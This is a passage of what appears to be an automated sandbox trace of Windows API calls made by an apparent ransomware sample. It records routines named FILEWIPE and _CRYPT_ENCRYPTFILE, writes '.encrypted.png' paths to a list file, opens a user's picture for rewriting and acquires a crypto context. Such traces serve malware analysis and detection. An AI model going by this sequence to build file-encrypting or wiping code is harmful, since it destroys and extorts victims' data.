lpMsg=0xe8f3dfe5a0) returned 0 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.055] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.055] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.056] CharLowerBuffW (in: lpsz="byte[9633]", cchLength=0xa | out: lpsz="byte[9633]") returned 0xa [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.056] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.056] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.056] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.056] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.057] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.057] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.058] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.058] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.059] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.059] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.060] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.060] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8357) returned 1 [0028.060] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.060] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.060] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.060] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x20a5, lpOverlapped=0x0) returned 1 [0028.061] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.061] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x20a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.061] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8357) returned 1 [0028.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.encrypted.png\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0028.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.encrypted.png\r\n", cchWideChar=77, lpMultiByteStr=0xe8f4069f50, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 77 [0028.061] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069ad0*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069ad0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4c, lpOverlapped=0x0) returned 1 [0028.061] CloseHandle (hObject=0x1fc) returned 1 [0028.062] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.062] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.063] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.064] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.064] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.064] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.065] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.jpg", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0028.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.jpg", cchWideChar=81, lpMultiByteStr=0xe8f4069650, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.jpg", lpUsedDefaultChar=0x0) returned 81 [0028.065] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\lm78sadyfv9pbzfmculk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0028.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=81, lpWideCharStr=0xe8f416dee0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.jpg") returned 81 [0028.065] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.066] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.066] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.066] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.066] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.067] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.067] CloseHandle (hObject=0x1fc) returned 1 [0028.067] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.067] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.067] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.067] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.067] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.067] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.068] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.068] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.068] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.068] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.068] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.069] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.069] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 